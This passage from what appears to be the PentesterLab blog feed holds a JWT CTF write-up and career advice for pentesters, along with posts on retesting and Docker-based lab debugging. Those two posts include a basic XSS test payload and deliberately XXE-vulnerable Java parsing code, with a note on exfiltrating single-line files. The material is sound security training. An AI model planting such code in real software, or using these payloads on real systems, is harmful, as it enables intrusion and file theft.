                <figcaption style="opacity:50%;text-align: center; margin-top:16px;">Homepage of the challenge</figcaption>
              </figure>
            </div>
            <p>And accessing the page was giving you this response:</p>
            <script src="https://gist.github.com/snyff/56e10bc87d4a1bbb827531eb7277460e.js"></script> 
            <h5 class="fw-bold mt-6 mb-3">The hints</h5>
            <p>Without the hints just looking for “Setec Astronomy” (text visible in the page) should have give people a good idea of what part was supposed to be guessed.</p>
            <p>The following hints were available:</p>
            <ul>
              <li>a Youtube video: </li>
              <div class="d-flex justify-content-center"><iframe width="516" height="290.02" class="my-5" src="https://www.youtube.com/embed/GutJf9umD9c" title="The Sneakers - Too Many Secrets" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe></div>
              <li>a Tweet: <div class="my-5"><blockquote class="twitter-tweet"><p lang="en" dir="ltr">Support added to crack JWT (JSON Web Token) with hashcat at 365MH/s on a single GTX1080: <a href="https://t.co/Ragnt3wv42">https://t.co/Ragnt3wv42</a></p>&mdash; hashcat (@hashcat) <a href="https://twitter.com/hashcat/status/955154646494040065?ref_src=twsrc%5Etfw">January 21, 2018</a></blockquote></div> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script></li>
            </ul>
            <h5 class="fw-bold mt-6 mb-3">The slow way</h5>
            <p>When discussing with people, I found out that few people were doing the following to solve this challenge:</p>
            <ol>
              <li>go to <a href="https://jwt.io/">https://jwt.io</a></li>
              <li>paste the token provided</li>
              <li>change the token to set the username to admin</li>
              <li>change the secret</li>
              <li>modify the cookie in their browser</li>
              <li>reload the page</li>
            </ol>
            <p>With this method to test another secret, you need to go through steps #4, #5 and #6. This is pretty slow and very time consuming. You need to change windows, copy/paste data around (always error-prone), wait for the server to respond (can takes time during a CTF if someone else is brute-forcing it)…</p>
            <p>Obviously, some people were using variations of this (like using curl instead of their browsers).</p>
            <h5 class="fw-bold mt-6 mb-3">The faster way</h5>
            <p>The interesting part here, is that the process to be way quicker isn’t that different:</p>
            <ol>
              <li>Go to <a href="https://jwt.io/">https://jwt.io</a></li>
              <li>Paste the token provided</li>
              <li>Change the secret</li>
              <li>Check if the site displays signature verified</li>
            </ol>
            <p>With this option, you only need to do step #3 and #4 to test another secret. Furthermore, the site does it automatically for you.</p>
            <ol>
              <li>Change the token to set the username to admin</li>
              <li>Modify the cookie in your browser</li>
              <li>Reload the page</li>
            </ol>
            <h5 class="fw-bold mt-6 mb-3">Assumptions</h5>
            <p>I was also surprised that few people didn’t expect that the secret could contain spaces… Never make assumptions!</p>
            <h5 class="fw-bold mt-6 mb-3">Even faster</h5>
            <p>Obviously, writing code or using Hashcat would have been faster. You could also have used a tool written by one of PentesterLab PRO subscribers (<a href="https://github.com/ticarpi/jwt_tool">https://github.com/ticarpi/jwt_tool</a>).</p>
            <h5 class="fw-bold mt-6 mb-3">Conclusion</h5>
            <p>When working on a CTF challenge, if you find yourself struggling too much on a challenge that is supposed to be easy, ask yourself:</p>
            <h5 class="ms-md-5 my-5 fw-normal"><i>I’m doing it the right way, or could I find an faster way?</i></h5>
            <p>If you can get a quick feedback loop when testing something, you will be way faster!</p>
          </div>

            

            

]]>
      </description>
      <pubDate>Tue, 13 Feb 2018 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/nullcon-hackim-2018-web4-the-fast-way</link>
      <guid>https://pentesterlab.com/blog/nullcon-hackim-2018-web4-the-fast-way</guid>
    </item>
    <item>
      <title>10 common mistakes aspiring/new pentesters make</title>
      <description>
        <![CDATA[           <div>
            <p>At <a href="https://pentesterlab.com/">PentesterLab</a>, we have been helping thousands of people become pentesters or better pentesters:</p>
            <ol>
              <li>with PentesterLab PRO offering for <a href="https://pentesterlab.com/pro">students</a>/<a href="https://pentesterlab.com/pro">individuals</a>/<a href="https://pentesterlab.com/pro/enterprise">enterprises</a></li>
              <li>with our free <a href="https://pentesterlab.com/bootcamp">Boot Camp</a></li>
              <li>with our <a href="https://pentesterlab.com/exercises?dir=desc&filter=free&sort=published_at">awesome free content</a></li>
              <li>answering emails on career choices, debugging payloads,…</li>
              <li>running trainings and doing talks at conferences</li>
              <li>...</li>
            </ol>
            <p>From that, we put together the common mistakes aspiring pentesters make.</p>
            <div class="d-flex justify-content-center my-5">
              <svg width="59" height="6" viewBox="0 0 59 6" fill="none" xmlns="http://www.w3.org/2000/svg">
                <circle cx="3" cy="3" r="3" fill="#686868"/>
                <circle cx="29.3042" cy="3" r="3" fill="#686868"/>
                <circle cx="55.6084" cy="3" r="3" fill="#686868"/>
              </svg>
            </div>
            <h5 class="fw-bold mt-6 mb-3">Only reading books</h5>
            <p>Don’t get us wrong, books are great. The problem is that a lot of people focus on reading books instead of gaining real hands-on experience. You can’t read about a bug class and expect to know about it. You need to see how the server responds, what happens if you try different payloads, how to debug your payloads. This is the only way to progress and to gain real understanding of security issues.</p>
            <h5 class="ms-md-5 my-5 fw-normal"><i>Practice makes perfect</i></h5>
            <h5 class="fw-bold mt-6 mb-3">Kali everything</h5>
            <p>Another very surprising misconception is that you need this kind of magic “HACKING COMPUTER” to perform pentesting/hacking. And you need to attack with your <a href="https://www.kali.org/">Kali</a> system (directly or in a VM).</p>
            <p>Kali is an extraordinaire potpourri of pentesting tools and is very handy when you get started for some tools that can be hard to install (especially Wifi drivers). However, you will probably be a lot more comfortable and efficient using your everyday OS and not jumping from your system to your “hacking VM” all the time. Especially if you are doing or learning web testing, you probably rarely need to use Kali. It’s also not always a good idea to run Kali as your main system as you will probably need to run other tools (productivity tools) that may be harder to get working on it (as opposed to a boring standard Linux distribution).</p>
            <h5 class="fw-bold mt-6 mb-3">Kali everything</h5>
            <p>We get a lot of questions around payloads that didn’t work even if it did (visible thanks to our scoring system). Getting HTTP 500 errors doesn’t mean you didn’t successfully exploit the bug. Shellshock and a lot of serialisation issues are common example of bugs for which you will <b>get code execution followed by a HTTP 500 error</b> since the payload will trigger an unexpected behaviour.</p>
            <h5 class="fw-bold mt-6 mb-3">“How can I make sure it’s not vulnerable”</h5>
            <p>When doing a blackbox test, aspiring/young pentesters always want to make sure a system is not vulnerable (“How do I know I didn’t miss something”). The truth is that you can never be 100% sure that a system is not vulnerable during a blackbox test. You will just make sure you run out of test cases to check if it was.</p>
            <h5 class="ms-md-5 my-5 fw-bold">Spending too much time learning reversing/exploit writing instead of assessing systems, mobile and web</h5>
            <p>Reversing and writing exploits are amazing things to do and you should definitely look into these two domains. However, if you want to break into infosec and score your first job, you need to be good at web (and mobile and network to a lesser extend) security. Most pentesting companies have a lot of their workload composed of web testing and this is not going to change in the next few months. Furthermore, they also have seniors people who are dying to do more research and will probably have priority on all the reversing/exploit writing jobs. So if you want to increase your likelihood of getting hired, you need to become a gun at web pentesting.</p>
            <p>The same thing applies to Bug Bounty, only few bounties require people to do reversing, most of them are web or mobile based.</p>
            <p>And if you want to learn web security, no better place than <a href="https://pentesterlab.com/">PentesterLab</a> ;)</p>
            <h5 class="fw-bold mt-6 mb-3">Reading a lot of security news without going in depth</h5>
            <p>This one is actually for a lot of people. When you read security news, try to go in depth on at least one subject. If you read a CVE:</p>
              <ul>
                <li>Try to get a diff of the fix</li>
                <li>Try to exploit the issue</li>
                <li>Try to understand the root cause</li>
                <li>See if you can find a bug bounty program running the same application or with a similar issue.</li>
              </ul>
            <p>Doing that once a week goes a long way.</p>
            <h5 class="ms-md-5 my-5 fw-normal">You can stay a passive observer or become an active learner!</h5>
            <p>The same applies to conferences! After a conference, try to pick one talk and reproduce it.</p>
            <h5 class="fw-bold mt-6 mb-3">Spending too much time building the perfect lab/laptop/…</h5>
            <p>Don’t waste time getting your perfect setup with a full network and multiple ESX servers as well as the perfect laptop. Just get started. It’s always easy to procrastinate and push back on what really matters. Don’t stay in your comfort zone. Just get started, start learning/hacking even if you don’t have the perfect setup. Truth is, there is no perfect setup and your needs will evolve over time with your work and research.</p>
            <h5 class="fw-bold mt-6 mb-3">Not writing code/script…</h5>
            <p>Like you should expect a developer to know some security’s basics in 2018, you should expect a security engineers/pentesters to be able to write simple programs/scripts to perform basic tasks. As a tester, you need to automate stuff all the time. You need to be able to write small script:</p>
              <ul>
                <li>Write a small TCP client without too much search</li>
                <li>Parse a CSV file to extract a column without any Google search</li>
                <li>Send HTTP requests based on a previous script (for example)</li>
                <li>Write a decent size tool (as in more than 1k loc).</li>
                <li>How to use regular expression</li>
                <li>...</li>
              </ul>
            <h5 class="fw-bold mt-6 mb-3">Not reading code</h5>
            <p>To become a better tester, you need to read code. As a (web) pentester, half of your job is to understand what the source code on the server side looks like (for the client side, you often get the code). Guess what… reading a lot of code helps tremendously with that! You will also learn what mistakes people usually make. You can also read the code of your favourite tools to get a better understanding of their inner working as well as their limitations.</p>
            <h5 class="fw-bold mt-6 mb-3">Learning 20 programming languages</h5>
            <p>It’s a common mistake to try to learn too many programming languages as well. Don’t get me wrong it’s a good idea to know a lot of them and their differences (especially to write web shell and for CTF). But before doing that, you need to learn at least one language pretty well.</p>
            <ul>
              <li>How to disable/enable certificate verification in this language</li>
              <li>Common mistakes you can make that introduces vulnerabilities</li>
              <li>Good resources about this language</li>
              <li>How to quickly patch some code to make something work</li>
            </ul>
            <p>You should also understand (and be able to write) common programming patterns like:</p>
            <ul>
              <li>Running code in parallel (thread/fork/…)</li>
              <li>Publishing/consuming to a queue</li>
              <li>TCP and UDP client and server</li>
              <li>Reading data from STDIN.</li>
            </ul>
            <p>Once you grasp harder concepts in one language, you will get a better understanding of common patterns and mistakes (vulnerabilities?) associated with those. This will help you find more bugs.</p>
            <p>Finally, once you know one language well enough you can learn another one just by comparing it to the one you already know.</p>
            <h5 class="fw-bold mt-6 mb-3">Conclusion</h5>
            <p>Hopefully, this list helped you a bit and you will avoid falling for some of these mistakes. The most important is to remember:</p>
            <h5 class="ms-md-5 my-5 fw-normal"><i>The only real mistake is the one from which we learn nothing — (Henri Ford or John Powell)</i></h5>
          </ul>
          </div>

            

            

]]>
      </description>
      <pubDate>Mon, 08 Jan 2018 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/10-common-mistakes-aspiring-new-pentesters-make</link>
      <guid>https://pentesterlab.com/blog/10-common-mistakes-aspiring-new-pentesters-make</guid>
    </item>
    <item>
      <title>The Interview</title>
      <description>
        <![CDATA[           <div>
            <p>Since <a href="https://pentesterlab.com/blog/writing-a-good-resume">you now have the perfect resume</a>, you probably land some interviews! We decided to put together some advices on how to manage these interviews.</p>
            <p>First the obvious, look professional. Wear a suit (or at least smart casual), clean shoes, clean and ironed shirt.</p>
            <h5 class="ms-md-5 my-5 fw-normal">You never get a second chance to make a first impression!</h5>
            <div class="d-flex justify-content-center my-5">
              <svg width="59" height="6" viewBox="0 0 59 6" fill="none" xmlns="http://www.w3.org/2000/svg">
                <circle cx="3" cy="3" r="3" fill="#686868"/>
                <circle cx="29.3042" cy="3" r="3" fill="#686868"/>
                <circle cx="55.6084" cy="3" r="3" fill="#686868"/>
              </svg>
            </div>
            <p>The first question your future employer will ask himself after seeing you is “Can I send this guy to my clients?”</p>
            <p>If you make a good impression, your future employer/manager know that you will make the same good impression to their clients. That’s why you should always avoid swearing too.</p>
            <p>You need to learn about the company (visit the company website, know the key people, when it was created, recent talks?).</p>
            <p>I used to run interview with someone in charge of the “non-technical” aspect of the interview, his first question was always: “Why do you want to work for/with us?”. Quickly followed by: “Who are the key people in the company?”.</p>
            <p>Far too often, people had no idea of who was working in the company or even what the name of the CEO was… way too many awkward silences during that part of the interview. You cannot afford this kind of mistake, it just makes you look unprofessional and unprepared. And someone less talented than you could get the job just by looking more prepared.</p>
            <h5 class="fw-bold mt-6 mb-3">The technical interview</h5>
            <p>You think you’re smart and you are going to work something out the day you need it (using Google?) like you probably did for all your previous job? A good interviewer will ask you in-depth questions and won’t let you go with half-baked answers or bullshit… You need to know your stuff and you need to be able to show that you know your stuff . Don’t forget that people on the other side are pretty smart as well. They shouldn’t be the average managers you use to b*****it before with random buzzwords. They actually know what you are talking about and may even be better than you at it…</p>
            <p>If you don’t know or you’re not sure: <b>say it</b>. When you work as a security professional, you will sometime say to your clients: “I will need to look it up and come back to you”. It’s the same in an interview. People want to know that you’re not a bullshit artist. Accept that you won’t know everything people will ask you. Use sentences like: “I’m not sure but I think this is how it works”. It will make a great difference.</p>
            <p>I put together some of the questions you may get asked (based on the ones I like to ask):</p>
            <ul>
              <li>“You’re going to PentesterLab’s website, explain what happens…”. Here the interviewers want to see your knowledge of TCP/IP, DNS, HTTP, SSL, …</li>
              <li>“What is the latest cool exploit/tool you learned/read about”. This will tell the interviewer what you’re interested in and how deep you usually dig into something.</li>
              <li>“Explain me the risk of an XSS if I was a CEO”. Here the interviewers want to see if you can vulgarise complex concepts.</li>
              <li>Explain a TCP handshake</li>
              <li>How does Windows stored passwords?</li>
              <li>What is a cookie?</li>
              <li>Opinion on vulnerability disclosure?</li>
            </ul>
            <h5 class="fw-bold mt-6 mb-3">Hands on interview</h5>
            <p>After realising that there was a huge gap between being able to explain a concept and actually being able to apply it, more and more companies moved from a tech interview to a tech interview followed by a hands-on interview. The goal is pretty simple here, you have a target and you need to show how you will test/attack it.</p>
            <p>After the technical interview, another interview is setup with hands-on test (only if the person did good enough obviously), some companies even use <a href="https://pentesterlab.com/exercises/?filter=free">PentesterLab Free Exercises</a>.</p>
            <p>Interviewers running hands-on interviews want to see the following:</p>
            <ul>
              <li>How fast you are with your computer. The faster you’re, the more testing you can do in a given amount of time.</li>
              <li>How do you solve a problem.</li>
              <li>How do you test for vulnerabilities.</li>
              <li>How do you exploit vulnerabilities.</li>
              <li>…</li>
            </ul>
            <p>As an interviewee, I think it’s important to keep your calm and know what the interviewers are after. They don’t want you to be able to do everything in half an hour or write a crazy exploit. They want to see how you think, how you work, how you debug, if you take notes…</p>
            <p>Obviously, you need to practice for this. Make sure you know <a href="https://pentesterlab.com/pro">how to find bugs and exploit them</a>.</p>
            <h5 class="fw-bold mt-6 mb-3">The pub interview</h5>
            <p>One of my favourite part of the interview is the “pub” interview. If things go well, it’s common to go to the pub with the interviewee to share few drinks. That’s a really good way for the interviewer to get the interviewee to drop his line of defence and see how he/she behaves in every day life.</p>
            <p>The obvious advice is too behave nicely to other people in the bar (if you are not already doing that every day… you should):</p>
            <h5 class="ms-md-5 my-5 fw-normal"><i>“You can tell a lot about a person by the way he or she treats a waiter.”</i></h5>
            <p>Another advice is to not drink too much and don’t start talking like it’s off-the-record. It’s obviously not. Trust me on this, whatever people say, it’s not off-the-record. Be more relax, enjoy the drinks, talk more freely but don’t start talking about illegal stuff and know when to call it home.</p>
            <p>Hopefully, this post gave you some inside on what to expect during an interview and will help you land a job as a penetration tester.</p>
          </div>

            

            

]]>
      </description>
      <pubDate>Sat, 22 Jul 2017 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/the-interview</link>
      <guid>https://pentesterlab.com/blog/the-interview</guid>
    </item>
    <item>
      <title>Retesting</title>
      <description>
        <![CDATA[           <div>
            <p>One of most common and potentially most painful task you will have to perform as a penetration tester is retesting.</p>
            <h5 class="ms-md-5 my-5 fw-normal"><i>If you are lucky, retesting can be quick and painless!</i></h5>
            <p>However, in most cases, you will have the same problems you can have during an initial test: waiting for the environment, waiting for credentials, waiting for valid credentials… Sometimes you will just be given a report (sometimes from a competitor) with a list of issues and you will realise that it is a pretty good way to rate the quality of someone else’s report!</p>
            <h5 class="fw-bold mt-6 mb-3">Always write your report as if the person who ends up retesting your findings is a violent psychopath who knows where you live.</h5>
            <div class="d-flex justify-content-center my-5">
              <svg width="59" height="6" viewBox="0 0 59 6" fill="none" xmlns="http://www.w3.org/2000/svg">
                <circle cx="3" cy="3" r="3" fill="#686868"/>
                <circle cx="29.3042" cy="3" r="3" fill="#686868"/>
                <circle cx="55.6084" cy="3" r="3" fill="#686868"/>
              </svg>
            </div>
            <h5 class="ms-md-5 my-5 fw-normal"><i>How long does it takes you to retest an issue from a report you have never seen before?</i></h5>
            <p>By retesting, you will quickly learn the difference between:</p>
            <ul>
              <li>“The application is vulnerable to XSS”</li>
              <li>“The parameter named msg in the page /login.jsp is echoed back, without encoding, leading to XSS”</li>
            </ul>
            <p>In the second sentence, you have almost everything you need to retest the issue; in the first sentence, not so much.</p>
            <h5 class="ms-md-5 my-5 fw-normal"><i>Being prepared is the best way to avoid wasting time!</i></h5>
            <p>The simplest way is to have a script to retest each issue. I know of <b>at least one company who uses browser automation</b> (i.e.: driving a browser with tools like Watir, Selenium or <a href="https://chromium.googlesource.com/chromium/src/+/lkgr/headless/README.md">Chrome headless</a>) <b>to perform most of their retesting</b>. This allows testers to easily retest an issue in a fully working browser and have a quick feedback on whether or not things have been changed.</p>
            <p><b>Other companies save Burp requests</b> to ensure they have, at least, the bare minimum on a given vulnerability. It’s probably better to keep each vulnerability test cases in a separate file instead of having a big file (default option for Burp Suite) with all the details of your testing (remember retesting may happen up to a few years later). Along with these files, it’s common to keep a step by step explanation on how to get there.</p>
            <h5 class="fw-bold mt-6 mb-3">For example, for a Cross-Site Scripting vulnerability:</h5>
            <p>Log in as user1 or any users with the privilege “Standard User”</p>
            <ul>
              <li><i>Click the link named “My profile”</i></li>
              <li><i>Click “edit”</i></li>
              <li><i>Click “save” with Burp in “Intercept” mode.</i></li>
              <li><i>Put your payload (standard &ltscript&gtalert(1);&lt/script&gt) in the parameter “firstname” using Burp</i></li>
              <li><i>Log out and Log in with the same username and visit the page “My profile”, an alert box should appear</i></li>
            </ul>
            <p>This looks like a lot of work but you can see all the pitfalls you will avoid…and all the time you will save:</p>
            <ul>
              <li>You know what user/privilege you need to use to test this issue.</li>
              <li>You know where to go to put the payload.</li>
              <li>You know that there must be some JavaScript checks preventing you from directly using the payload in your browser (“using Burp”).</li>
              <li>You know what payload works.</li>
              <li>You know that the response does not contain the payload directly and that you need to log out (probably to avoid some session/caching mechanism).</li>
              <li>You know where to look to find where the payload is triggered.</li>
            </ul>
            <p>Now Imagine how much time you could have wasted if you didn’t have this information. Furthermore, you will probably have miss the bug since you need to log out and log in again to trigger it.</p>
            <h5 class="ms-md-5 my-5 fw-normal"><i>You will save a huge amount of time (or save someone else a huge amount of time) if you spend a bit more time to write all the details you need.</i></h5>
            <p>You can provide all this information as part of the report (in Appendix) or in a folder with all the information you had/use during the testing along with all the logs and output of your tools. Keeping this information out of the main report will help keep things clear in the write-up and will ensure a reasonable size report…</p>
            <p>Another point is how to retest, having test cases that pass or don’t pass allow you to perform a quick check to ensure something has changed. It doesn’t ensure that something has been fixed. You can probably find another payload that will allow you to bypass the fix provided by developers/system administrators.</p>
            <p>You also need to be ready for the fact that sometimes you will get asked to retest an application where none of your recommendations have been applied and the application is as vulnerable as when you initially tested it. That’s quite a frustrating (and recurring) thing especially if you work for big companies, but you need to understand that your clients don’t necessarily have the visibility to ensure fixes get implemented. And sometimes, you even get people telling the security team that everything as been remediated even if nothing was changed, just to get rid of them and go back to their daily work.</p>
            <p>Hopefully, this article convinced you that retesting can be made easier by spending a little bit more time writing things down during your testing.</p>
          </div>

            

            

]]>
      </description>
      <pubDate>Tue, 11 Jul 2017 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/retesting</link>
      <guid>https://pentesterlab.com/blog/retesting</guid>
    </item>
    <item>
      <title>Use docker for your pentesting labs!</title>
      <description>
        <![CDATA[           <div class="w-100">
            <p>If you are familiar with PentesterLab, you may have looked into our <a href="https://pentesterlab.com/exercises/play-xxe">Play XML Entities exercise</a>. Recently, we decided to create an online version as part of the <a href="https://pentesterlab.com/badges/yellowbadge">Yellow Badge</a> for our <a href="https://pentesterlab.com/pro">PRO subscribers</a>.</p>
            <div class="d-flex justify-content-center my-5">
              <svg width="59" height="6" viewBox="0 0 59 6" fill="none" xmlns="http://www.w3.org/2000/svg">
                <circle cx="3" cy="3" r="3" fill="#686868"/>
                <circle cx="29.3042" cy="3" r="3" fill="#686868"/>
                <circle cx="55.6084" cy="3" r="3" fill="#686868"/>
              </svg>
            </div>
            <p>To put an exercise online, the main task consists in rebuilding it based on the ISO. It was pretty easy to get it done, unfortunately the vulnerability wasn’t fully exploitable anymore. This article will walk you through the debugging process and the changes introduces by different versions of Java.</p>
            <p>To get started, we need some vulnerable code. Instead of re-inventing the wheel, you just need to get some example from the web:</p>
            <pre class="w-100"><code>import java.io.File;
import java.io.FileInputStream;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
import org.xml.sax.InputSource;

public class Test {

  public static void main(String[] args) {
      DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();

      try {
         // use the factory to create a documentbuilder
         DocumentBuilder builder = factory.newDocumentBuilder();
         // create a new document from input source
         FileInputStream fis = new FileInputStream("test.xml");
         InputSource is = new InputSource(fis);
         Document doc = builder.parse(is);
      } catch (Exception ex) {
         ex.printStackTrace();
      }
   }
}</code></pre>
            <p>The important part in this code is that it will print the exception details. The Play framework silently swallows the exception making debugging non-trivial.</p>
            <p>If you want more details on the full-exploitation, make sure you check <a href="https://pentesterlab.com/exercises/play-xxe">our free exercise on PLAY XXE</a>.</p>
            <h5 class="fw-bold mt-5 mb-5">Now the interesting part, we can start debugging the real problem!!!</h5>
            <p>First, we can try with <b>openjdk:7u131</b> (the option -v is used to mount the current local directory as /srv/ in the container):</p>
            <pre><code>$ docker run  -it  --rm -v `pwd`:/srv/:rw openjdk:7u131 /bin/bash
root@aaf82368ee16:/# java -version
java version "1.7.0_131"
OpenJDK Runtime Environment (IcedTea 2.6.9) (7u131-2.6.9-2~deb8u1)
OpenJDK 64-Bit Server VM (build 24.131-b00, mixed mode)
root@aaf82368ee16:/# cd /srv/
root@aaf82368ee16:/srv# ls
test.xml  Test.java
root@aaf82368ee16:/srv# javac Test.java && java Test
java.net.MalformedURLException: Illegal character in URL
 at sun.net.www.http.HttpClient.getURLFile(HttpClient.java:600)
 at sun.net.www.protocol.http.HttpURLConnection.getRequestURI(HttpURLConnection.java:2367)
 at ...</code></pre>
            <p>Now, let’s try the same thing with Java 6:</p>
            <pre><code>$ docker run  -it  --rm -v `pwd`:/srv/:rw openjdk:6b38 /bin/bash
root@ecec815af9b1:/# cd /srv/
root@ecec815af9b1:/srv# java -version
java version "1.6.0_38"
OpenJDK Runtime Environment (IcedTea6 1.13.10) (6b38-1.13.10-1~deb7u1)
OpenJDK 64-Bit Server VM (build 23.25-b01, mixed mode)
# javac Test.java && java Test
java.net.MalformedURLException: Illegal character in URL
 at sun.net.www.http.HttpClient.getURLFile(HttpClient.java:592)
 at sun.net.www.protocol.http.HttpURLConnection.writeRequests(HttpURLConnection.java:479)
 at ...</code></pre>
            <h5 class="ms-md-5 my-5 fw-normal"><i>As you can see, this is where using docker really helps debugging this type of issues. It makes it easy to try multiple versions of the same tool without messing up your system’s configuration.</i></h5>
            <p>It looks like the fact that there is some kind of special characters breaks the XML parsing. By looking at the web server logs, we can see that the file test.dtd is retrieved:</p>
            <pre><code>XXXXX- - [24/Jun/2017:19:51:32 EDT] "GET /test.dtd HTTP/1.1" 200 118</code></pre>
            <p>So the issue probably happens when we send the content of the file.</p>
            <p>After some more testing, this was caused by the newline character. You can still easily exfiltrate a file as long as it only contains one line.</p>
            <h5 class="ms-md-5 my-5 fw-normal"><i>Using docker allowed us to test with recent versions of Java. But what if we want to test older releases…</i></h5>
            <p>To test older versions of Java, we can just build our own container:</p>
            <pre><code>FROM debian:7

RUN apt-get update && apt-get install -y unzip gzip && rm -rf /var/lib/apt/lists/*
ADD jdk-7-linux-x64.tar.gz /opt</code></pre>
            <p>The file “jdk-7-linux-x64.tar.gz” can be downloaded from the page <a href="http://www.oracle.com/technetwork/java/javase/downloads/java-archive-downloads-javase7-521261.html">http://www.oracle.com/technetwork/java/javase/downloads/java-archive-downloads-javase7-521261.html</a> along with any other versions. If you want to avoid creating an account, <a href="http://bugmenot.com/">http://bugmenot.com/</a> is your friend. N.B.: Docker will automatically extract the tar.gz file for you.</p>
            <p>From there, we can just build and run our container:</p>
            <pre><code class="language-bash">$ docker build -t jdk-7-0 .
$ docker run  -it  --rm -v `pwd`:/srv/:rw jdk-7-0 /bin/bash</code></pre>
            <p>Once in the container, we can compile and run our Test.java file with this version of Java.</p>
            <p>With a bit of automation, it becomes really easy to run the same code across all versions of Java to find out when the change was introduced</p>
            <h5 class="fw-bold mt-6 mb-3">Conclusion</h5>
            <p>With docker, it’s really easy to put together small containers that will allow you to test behaviours across multiple versions of the same languages or applications. Doing the same thing on your system or a VM would be a total nightmare. Hopefully, this article convinced you to use docker for this use case.</p>
          </div>

            

            

]]>
      </description>
      <pubDate>Wed, 28 Jun 2017 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/use-docker-for-your-pentesting-labs</link>
      <guid>https://pentesterlab.com/blog/use-docker-for-your-pentesting-labs</guid>
    </item>
    <item>
      <title>Writing a good resume</title>
      <description>
        <![CDATA[           <div>
            <p>As a pentester, most clients will judge your work by the quality of your reports. Your resume is the best way for an employer to see how much care and attention you put into writing content, so make sure you nail it!</p>
            <div class="d-flex justify-content-center my-5">
              <svg width="59" height="6" viewBox="0 0 59 6" fill="none" xmlns="http://www.w3.org/2000/svg">
                <circle cx="3" cy="3" r="3" fill="#686868"/>
                <circle cx="29.3042" cy="3" r="3" fill="#686868"/>
                <circle cx="55.6084" cy="3" r="3" fill="#686868"/>
              </svg>
            </div>
            <h5 class="fw-bold mt-6 mb-3">The Form</h5>
            <p>The first step is to read carefully what people ask in the job ads, don’t miss any details! Your job as a pentester is to take attention to details, show that it’s one of your quality when you apply by not missing any details.</p>
            <p>Some companies ask for a resume in text format. It has two advantages for a company:</p>
            <ul>
              <li>Limit the risk of compromise</li>
              <li>Filter people applying by asking for extra effort</li>
            </ul>
            <p>If you apply for a company that asking for a text resume. Don’t send a PDF or worst a Word document… You are going to get disqualified, or loose point before anyone read your resume (if they read it at all).</p>
            <p>If no format is specified, send a PDF or a text file. You don’t want to send a Word document. People will see how bad/good you are with Word, see track changes information or even the Author’s name you put a few years ago.</p>
            <p>Ideally, you will send a resume in <b>PDF written with Latex</b>, that should get you some extra-point.</p>
            <h5 class="fw-bold mt-6 mb-3">The content</h5>
            <p>Keep it simple, don’t put too many keywords on your resume. Avoid old security software. Don’t put that you’re an expert in X. If your resume reads “expert in X”, interviewers will ask questions that an expert should be able to answer; if they read that you’re “confident in X”, the questions will probably be easier and the expectations lower…</p>
            <h5 class="ms-md-5 my-5 fw-normal">Don’t lie on your resume!</h5>
            <p>Just put the truth, guess what… Interviewers have rather being positively surprised. If they read in your resume that you’re confident in Java and it turns out that you have a deep understanding of the language, you will get extra points.</p>
            <p><b>Don’t put a list of tools.</b> There is nothing more off-putting than a list like:</p>
            <h6 class="ms-md-5 my-5 fw-normal"><i>Aircrack, Aircrack-ng, Wireshark, Burp, WebScarab, Nikto, Acunetix, Nessus.</i></h6>
            <p>Most interviewers won’t care about these tools. They care about what you can do:</p>
            <h6 class="ms-md-5 my-5 fw-normal"><i>Wireless testing and manual packet inspection<br>Manual and automated web testing<br>Vulnerability scanning</i></h6>
            <p><b>Don’t put too many languages,</b> especially without details:</p>
            <h6 class="ms-md-5 my-5 fw-normal"><i>Assembly, C, C++, Objective-C, Java, Erlang, Perl, Cobol, Ruby, Python</i></h6>
            <p>Try to show what you know:</p>
            <h6 class="ms-md-5 my-5 fw-normal">Proficient in C and Ruby<br>Exposure to Assembly, C++, Objective-C, Java, Perl, Python</h6>
            <h5 class="fw-bold mt-6 mb-3">Showcase your online profiles:</h5>
            <ul>
              <li>Interviewers can see that you know how to read, write code, find vulnerabilities by checking your Github profile.</li>
              <li>Interviewers can see that you know how to find bugs by looking at your Hackerone/Bugcrowd profile.</li>
            </ul>
            <h5 class="fw-bold mt-6 mb-3">Sending your resume</h5>
            <p>Don’t send it to 80 email addresses with everyone in CC. It’s the best way to make sure you will never get a job anywhere.</p>
            <p>Write a cover letter dedicated to the company and why you want to work there. Even better, try to meet people from the company at local security meetups and send your resume to them directly. It will speed up the process and they will already know who you are.</p>
            <p>Finally, try to get a simple and serious looking email address to send the resume. <b>It’s likely that using superhacker69@hotmail.fr won’t cut it.</b></p>
            <h5 class="fw-bold mt-6 mb-3">Conclusion</h5>
            <p>We hope this article will help you improve the quality of your resume. Now that you sent the perfect resume, it’s time to get ready for the interview!</p>
          </div>

            

            

]]>
      </description>
      <pubDate>Wed, 05 Apr 2017 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/writing-a-good-resume</link>
      <guid>https://pentesterlab.com/blog/writing-a-good-resume</guid>
    </item>
    <item>
      <title>Advice for new pentesters</title>
      <description>
        <![CDATA[           <div>
            <p>We put together some advice for new pentesters; we hope you will like them!</p>
            <div class="d-flex justify-content-center my-5">
              <svg width="59" height="6" viewBox="0 0 59 6" fill="none" xmlns="http://www.w3.org/2000/svg">
                <circle cx="3" cy="3" r="3" fill="#686868"/>
                <circle cx="29.3042" cy="3" r="3" fill="#686868"/>
                <circle cx="55.6084" cy="3" r="3" fill="#686868"/>
              </svg>
            </div>
            <h5 class="fw-bold mt-6 mb-3">Be precise</h5>
            <p>One of the key issues new pentesters have is being precise… It’s especially annoying when communicating by emails or instant messaging.</p>
            <p>One of the most common examples is:</p>
            <h6 class="ms-md-5 my-5 fw-normal"><i>“I can’t access the web application.”</i></h6>
            <p>I “can’t access” means nothing…</p>
            <ol>
              <li>Do you have DNS resolution for the host?</li>
              <li>Is the TCP port accessible (hping is your friend)?</li>
              <li>Is the web server available but you have the wrong virtual-host?</li>
              <li>Is the web server available but the application throws an error?</li>
            </ol>
            <p>In the same way:</p>
